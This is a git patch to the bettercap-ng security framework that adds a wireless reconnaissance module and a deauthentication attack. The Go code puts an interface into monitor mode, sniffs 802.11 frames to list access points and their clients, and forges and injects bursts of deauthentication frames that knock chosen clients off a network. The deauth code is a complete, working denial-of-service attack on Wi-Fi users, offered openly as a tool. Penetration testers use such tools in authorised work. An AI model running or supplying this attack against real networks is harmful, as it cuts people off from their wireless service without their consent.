From 34eda04d59d5610a204f7ab007295d34b9474022 Mon Sep 17 00:00:00 2001 From: Matrix86 Date: Fri, 16 Feb 2018 01:39:27 +0100 Subject: [PATCH] Added support to 802.11 and deauth attack --- main.go | 1 + modules/wlan_recon.go | 467 ++++++++++++++++++++++++++++++++++++++++ modules/wlan_targets.go | 130 +++++++++++ 3 files changed, 598 insertions(+) create mode 100644 modules/wlan_recon.go create mode 100644 modules/wlan_targets.go diff --git a/main.go b/main.go index e301d079..6a876dc5 100644 --- a/main.go +++ b/main.go @@ -49,6 +49,7 @@ func main() { sess.Register(modules.NewHttpsProxy(sess)) sess.Register(modules.NewRestAPI(sess)) sess.Register(modules.NewWOL(sess)) + sess.Register(modules.NewWDiscovery(sess)) if err = sess.Start(); err != nil { log.Fatal("%s", err) diff --git a/modules/wlan_recon.go b/modules/wlan_recon.go new file mode 100644 index 00000000..300985de --- /dev/null +++ b/modules/wlan_recon.go @@ -0,0 +1,467 @@ +package modules + +import ( + "bytes" + "errors" + "fmt" + "net" + "os" + "sort" + "strconv" + //"sync/atomic" + "time" + + "github.com/evilsocket/bettercap-ng/core" + "github.com/evilsocket/bettercap-ng/session" + + "github.com/google/gopacket" + "github.com/google/gopacket/layers" + "github.com/google/gopacket/pcap" + + //"github.com/dustin/go-humanize" + "github.com/olekukonko/tablewriter" +) + +const IPV4_MULTICAST_ADDR_START = "01:00:5e:00:00:00" +const IPV4_MULTICAST_ADDR_END = "01:00:5e:7f:ff:ff" +const BROADCAST_MAC = "ff:ff:ff:ff:ff:ff" + +const MAC48Validator = "((?:[0-9A-Fa-f]{2}[:-]){5}(?:[0-9A-Fa-f]{2}))" + +type WDiscovery struct { + session.SessionModule + Targets *WlanTargets + + ClientTarget net.HardwareAddr + BSTarget net.HardwareAddr + + Handle *pcap.Handle + BroadcastMac []byte +} + +func NewWDiscovery(s *session.Session) *WDiscovery { + w := &WDiscovery{ + SessionModule: session.NewSessionModule("wlan.recon", s), + ClientTarget: make([]byte, 0), + BSTarget: make([]byte, 0), + } + + w.AddHandler(session.NewModuleHandler("wlan.recon on", "", + "Start wireless Base Station discovery.", + func(args []string) error { + return w.Start() + })) + + w.AddHandler(session.NewModuleHandler("wlan.recon off", "", + "Stop wireless Base Station discovery.", + func(args []string) error { + return w.Stop() + })) + + w.AddHandler(session.NewModuleHandler("wlan.deauth", "", + "Send Deauthentication attack on the targets (use ticker to iterate the attack).", + func(args []string) error { + return w.SendDeauth() + })) + + w.AddHandler(session.NewModuleHandler("wlan.recon set client MAC", "wlan.recon set client ((?:[0-9A-Fa-f]{2}[:-]){5}(?:[0-9A-Fa-f]{2}))", + "Set Client to deauth (single target).", + func(args []string) error { + var err error + w.ClientTarget, err = net.ParseMAC(args[0]) + return err + })) + + w.AddHandler(session.NewModuleHandler("wlan.recon clear client", "", + "Remove Client to deauth.", + func(args []string) error { + w.ClientTarget = make([]byte, 0) + return nil + })) + + w.AddHandler(session.NewModuleHandler("wlan.recon set bs MAC", "wlan.recon set bs ((?:[0-9A-Fa-f]{2}[:-]){5}(?:[0-9A-Fa-f]{2}))", + "Set Base Station to filter.", + func(args []string) error { + var err error + if w.Targets != nil { + w.Targets.ClearAll() + } + w.BSTarget, err = net.ParseMAC(args[0]) + return err + })) + + w.AddHandler(session.NewModuleHandler("wlan.recon clear bs", "", + "Remove the Base Station filter.", + func(args []string) error { + fmt.Println("Clear BS") + if w.Targets != nil { + w.Targets.ClearAll() + } + w.BSTarget = make([]byte, 0) + return nil + })) + + w.AddHandler(session.NewModuleHandler("wlan.show", "", + "Show current hosts list (default sorting by essid).", + func(args []string) error { + return w.Show("essid") + })) + + return w +} + +func (w WDiscovery) Name() string { + return "wlan.recon" +} + +func (w WDiscovery) Description() string { + return "Sniff 802.11 packets and perform some attack." +} + +func (w WDiscovery) Author() string { + return "Gianluca Braga " +} + +func (w *WDiscovery) getRow(e *WlanEndpoint) []string { + sinceStarted := time.Since(w.Session.StartedAt) + sinceFirstSeen := time.Since(e.Endpoint.FirstSeen) + + mac := e.Endpoint.HwAddress + if w.Targets.WasMissed(e.Endpoint.HwAddress) == true { + // if endpoint was not found at least once + mac = core.Dim(mac) + } else if sinceStarted > (justJoinedTimeInterval*2) && sinceFirstSeen <= justJoinedTimeInterval { + // if endpoint was first seen in the last 10 seconds + mac = core.Bold(mac) + } + + name := "" + if e.Endpoint == w.Session.Interface { + name = e.Endpoint.Name() + } else if e.Endpoint.Hostname != "" { + name = core.Yellow(e.Endpoint.Hostname) + } else if e.Endpoint.Alias != "" { + name = core.Green(e.Endpoint.Alias) + } + + seen := e.Endpoint.LastSeen.Format("15:04:05") + sinceLastSeen := time.Since(e.Endpoint.LastSeen) + if sinceStarted > aliveTimeInterval && sinceLastSeen <= aliveTimeInterval { + // if endpoint seen in the last 10 seconds + seen = core.Bold(seen) + } else if sinceLastSeen <= presentTimeInterval { + // if endpoint seen in the last 60 seconds + } else { + // not seen in a while + seen = core.Dim(seen) + } + + return []string{ + mac, + name, + e.Essid, + e.Endpoint.Vendor, + strconv.Itoa(e.Channel), + seen, + } +} + +func WlanMhzToChannel(freq int) int { + if freq <= 2484 { + return ((freq - 2412) / 5) + 1 + } + + return 0 +} + +type ByEssidSorter []*WlanEndpoint + +func (a ByEssidSorter) Len() int { return len(a) } +func (a ByEssidSorter) Swap(i, j int) { a[i], a[j] = a[j], a[i] } +func (a ByEssidSorter) Less(i, j int) bool { + if a[i].Essid == a[j].Essid { + return a[i].Endpoint.HwAddress < a[j].Endpoint.HwAddress + } + return a[i].Essid < a[j].Essid +} + +type ByWlanSeenSorter []*WlanEndpoint + +func (a ByWlanSeenSorter) Len() int { return len(a) } +func (a ByWlanSeenSorter) Swap(i, j int) { a[i], a[j] = a[j], a[i] } +func (a ByWlanSeenSorter) Less(i, j int) bool { + return a[i].Endpoint.LastSeen.After(a[j].Endpoint.LastSeen) +} + +func (w *WDiscovery) showTable(header []string, rows [][]string) { + fmt.Println() + table := tablewriter.NewWriter(os.Stdout) + table.SetHeader(header) + table.SetColWidth(80) + table.AppendBulk(rows) + table.Render() +} + +func (w *WDiscovery) Show(by string) error { + if w.Targets == nil { + return errors.New("Targets are not yet initialized") + } + + targets := w.Targets.List() + if by == "seen" { + sort.Sort(ByWlanSeenSorter(targets)) + } else { + sort.Sort(ByEssidSorter(targets)) + } + + rows := make([][]string, 0) + for _, t := range targets { + rows = append(rows, w.getRow(t)) + } + + w.showTable([]string{"MAC", "ALIAS", "SSID", "Vendor", "Channel", "Last Seen"}, rows) + + //fmt.Printf("\n%s %s / %s %s / %d pkts / %d errs\n\n", + // core.Red("↑"), + // humanize.Bytes(atomic.LoadUint64(&w.Session.Queue.Sent)), + // core.Green("↓"), + // humanize.Bytes(atomic.LoadUint64(&w.Session.Queue.Received)), + // atomic.LoadUint64(&w.Session.Queue.PktReceived), + // atomic.LoadUint64(&w.Session.Queue.Errors)) + + s := EventsStream{} + events := w.Session.Events.Sorted() + size := len(events) + + if size > 0 { + max := 20 + if size > max { + from := size - max + size = max + events = events[from:] + } + + fmt.Printf("Last %d events:\n\n", size) + + for _, e := range events { + s.View(e, false) + } + + fmt.Println() + } + + w.Session.Refresh() + + return nil +} + +func (w *WDiscovery) buildDeauthPkt(address1 net.HardwareAddr, address2 net.HardwareAddr, address3 net.HardwareAddr, _type layers.Dot11Type, reason layers.Dot11Reason, seq uint16) []byte { + var ( + deauthLayer layers.Dot11MgmtDeauthentication + dot11Layer layers.Dot11 + radioTapLayer layers.RadioTap + ) + + deauthLayer.Reason = reason + + dot11Layer.Address1 = address1 + dot11Layer.Address2 = address2 + dot11Layer.Address3 = address3 + dot11Layer.Type = _type + dot11Layer.SequenceNumber = seq + + buffer := gopacket.NewSerializeBuffer() + gopacket.SerializeLayers(buffer, + gopacket.SerializeOptions{ + ComputeChecksums: true, + FixLengths: true, + }, + &radioTapLayer, + &dot11Layer, + &deauthLayer, + ) + + return buffer.Bytes() +} + +func (w *WDiscovery) SendDeauthPacket(ap net.HardwareAddr, client net.HardwareAddr) { + var pkt []byte + var err error + + var seq uint16 + for seq = 0; seq < 64; seq++ { + pkt = w.buildDeauthPkt(ap, client, ap, layers.Dot11TypeMgmtDeauthentication, layers.Dot11ReasonClass2FromNonAuth, seq) + err = w.Handle.WritePacketData(pkt) + if err != nil { + return + } + + time.Sleep(2 * time.Millisecond) + + pkt = w.buildDeauthPkt(client, ap, ap, layers.Dot11TypeMgmtDeauthentication, layers.Dot11ReasonClass2FromNonAuth, seq) + err = w.Handle.WritePacketData(pkt) + if err != nil { + return + } + + time.Sleep(2 * time.Millisecond) + } +} + +func (w *WDiscovery) SendDeauth() error { + switch { + case len(w.BSTarget) > 0 && len(w.ClientTarget) > 0: + w.SendDeauthPacket(w.BSTarget, w.ClientTarget) + + case len(w.BSTarget) > 0: + for _, t := range w.Targets.Targets { + w.SendDeauthPacket(w.BSTarget, t.Endpoint.HW) + } + + default: + fmt.Println("Base Station is not setted.") + } + + return nil +} + +func (w *WDiscovery) BSScan(packet gopacket.Packet) { + var bssid string + var dst net.HardwareAddr + var ssid string + var channel int + + radiotapLayer := packet.Layer(layers.LayerTypeRadioTap) + if radiotapLayer == nil { + return + } + + radiotap, _ := radiotapLayer.(*layers.RadioTap) + + //! InformationElement Layer found + dot11infoLayer := packet.Layer(layers.LayerTypeDot11InformationElement) + if dot11infoLayer == nil { + return + } + + dot11info, _ := dot11infoLayer.(*layers.Dot11InformationElement) + if dot11info.ID != layers.Dot11InformationElementIDSSID { + return + } + + //! Dot11 Layer Found + dot11Layer := packet.Layer(layers.LayerTypeDot11) + if dot11Layer == nil { + return + } + + dot11, _ := dot11Layer.(*layers.Dot11) + ssid = string(dot11info.Info) + bssid = dot11.Address3.String() + dst = dot11.Address1 + + if bytes.Compare(dst, w.BroadcastMac) == 0 && len(ssid) > 0 { + channel = WlanMhzToChannel(int(radiotap.ChannelFrequency)) + w.Targets.AddIfNew(ssid, bssid, true, channel) + } +} + +func (w *WDiscovery) ClientScan(bs net.HardwareAddr, packet gopacket.Packet) { + + radiotapLayer := packet.Layer(layers.LayerTypeRadioTap) + if radiotapLayer == nil { + return + } + + radiotap, _ := radiotapLayer.(*layers.RadioTap) + + dot11Layer := packet.Layer(layers.LayerTypeDot11) + if dot11Layer == nil { + return + } + + dot11, _ := dot11Layer.(*layers.Dot11) + if dot11.Type.MainType() != layers.Dot11TypeData { + return + } + + toDS := dot11.Flags.ToDS() + fromDS := dot11.Flags.FromDS() + + if toDS && !fromDS { + src := dot11.Address2 + //dst := dot11.Address3 + bssid := dot11.Address1 + + if bytes.Compare(bssid, bs) == 0 { + channel := WlanMhzToChannel(int(radiotap.ChannelFrequency)) + w.Targets.AddIfNew("", src.String(), false, channel) + } + } +} + +func (w *WDiscovery) Configure() error { + var err error + + w.Targets = NewWlanTargets(w.Session, w.Session.Interface) + + w.BroadcastMac, _ = net.ParseMAC(BROADCAST_MAC) + + inactive, err := pcap.NewInactiveHandle(w.Session.Interface.Name()) + defer inactive.CleanUp() + + if err = inactive.SetRFMon(true); err != nil { + return err + } + + if err = inactive.SetSnapLen(65536); err != nil { + return err + } + + if err = inactive.SetTimeout(pcap.BlockForever); err != nil { + return err + } + + w.Handle, err = inactive.Activate() + if err != nil { + return err + } + + return nil +} + +func (w *WDiscovery) Start() error { + if w.Running() == true { + return session.ErrAlreadyStarted + } else if err := w.Configure(); err != nil { + return err + } + + w.SetRunning(true, func() { + defer w.Handle.Close() + + src := gopacket.NewPacketSource(w.Handle, w.Handle.LinkType()) + for packet := range src.Packets() { + if w.Running() == false { + break + } + + if len(w.BSTarget) > 0 { + w.ClientScan(w.BSTarget, packet) + } else { + w.BSScan(packet) + } + } + }) + + return nil +} + +func (w *WDiscovery) Stop() error { + if w.Running() == false { + return session.ErrAlreadyStopped + } + + return w.SetRunning(false, func() { + }) +} diff --git a/modules/wlan_targets.go b/modules/wlan_targets.go new file mode 100644 index 00000000..7fd130ad --- /dev/null +++ b/modules/wlan_targets.go @@ -0,0 +1,130 @@ +package modules + +import ( + "sync" + "time" + + bnet "github.com/evilsocket/bettercap-ng/network" + session "github.com/evilsocket/bettercap-ng/session" +) + +const TargetsDefaultTTL = 30 + +type WlanEndpoint struct { + Endpoint *bnet.Endpoint + Essid string + IsAP bool + Channel int +} + +func NewWlanEndpoint(essid, mac string, isAp bool, channel int) *WlanEndpoint { + e := bnet.NewEndpointNoResolve("0.0.0.0", mac, "", 0) + + we := &WlanEndpoint{ + Endpoint: e, + Essid: essid, + IsAP: isAp, + Channel: channel, + } + + return we +} + +type WlanTargets struct { + sync.Mutex + + Session *session.Session `json:"-"` + Interface *bnet.Endpoint + Targets map[string]*WlanEndpoint + TTL map[string]uint + Aliases map[string]string +} + +func NewWlanTargets(s *session.Session, iface *bnet.Endpoint) *WlanTargets { + t := &WlanTargets{ + Session: s, + Interface: iface, + Targets: make(map[string]*WlanEndpoint), + TTL: make(map[string]uint), + Aliases: s.Targets.Aliases, + } + + return t +} + +func (tp *WlanTargets) List() (list []*WlanEndpoint) { + tp.Lock() + defer tp.Unlock() + + list = make([]*WlanEndpoint, 0) + for _, t := range tp.Targets { + list = append(list, t) + } + return +} + +func (tp *WlanTargets) WasMissed(mac string) bool { + if mac == tp.Session.Interface.HwAddress { + return false + } + + tp.Lock() + defer tp.Unlock() + + if ttl, found := tp.TTL[mac]; found == true { + return ttl < TargetsDefaultTTL + } + return true +} + +func (tp *WlanTargets) Remove(mac string) { + tp.Lock() + defer tp.Unlock() + + if e, found := tp.Targets[mac]; found { + tp.TTL[mac]-- + if tp.TTL[mac] == 0 { + tp.Session.Events.Add("endpoint.lost", e.Endpoint) + delete(tp.Targets, mac) + delete(tp.TTL, mac) + } + return + } +} + +func (tp *WlanTargets) AddIfNew(ssid, mac string, isAp bool, channel int) *WlanEndpoint { + tp.Lock() + defer tp.Unlock() + + mac = bnet.NormalizeMac(mac) + if t, found := tp.Targets[mac]; found { + if tp.TTL[mac] < TargetsDefaultTTL { + tp.TTL[mac]++ + } + + tp.Targets[mac].Endpoint.LastSeen = time.Now() + + return t + } + + e := NewWlanEndpoint(ssid, mac, isAp, channel) + + if alias, found := tp.Aliases[mac]; found { + e.Endpoint.Alias = alias + } + + tp.Targets[mac] = e + tp.TTL[mac] = TargetsDefaultTTL + + tp.Session.Events.Add("endpoint.new", e.Endpoint) + + return nil +} + +func (tp *WlanTargets) ClearAll() error { + tp.Targets = make(map[string]*WlanEndpoint) + tp.TTL = make(map[string]uint) + tp.Aliases = make(map[string]string) + + return nil +}